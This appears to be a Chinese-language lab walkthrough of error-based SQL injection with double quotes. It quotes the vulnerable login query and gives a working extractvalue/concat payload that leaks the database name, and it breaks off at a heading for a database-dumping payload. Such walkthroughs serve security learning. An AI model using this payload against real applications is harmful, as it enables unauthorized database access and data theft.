双引号报错型注入
按照题意应该是可以使用上一题的payload只需要修改单引号为双引号,但是实际测试不行,无论我使用--+还是%23还是#都不行,我就看了一下php文件:
可以看到sql查询语句:
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
构造一个能闭合语句而且会报错的payload:
admin" and extractvalue(1,concat(0x7e,(select database()))) and "
最终admin = "admin" and extractvalue(1,concat(0x7e,(select database()))) and " "
传入后就变成了:
@$sql="SELECT username, password FROM users WHERE username="admin" and extractvalue(1,concat(0x7e,(select database()))) and " " and password=($passwd) LIMIT 0,1";
前闭合,中间查询,后面报错,应该是这样没错了,实际测试没问题,可以回显,接下来就再concat()中构造查询语句:
爆库payload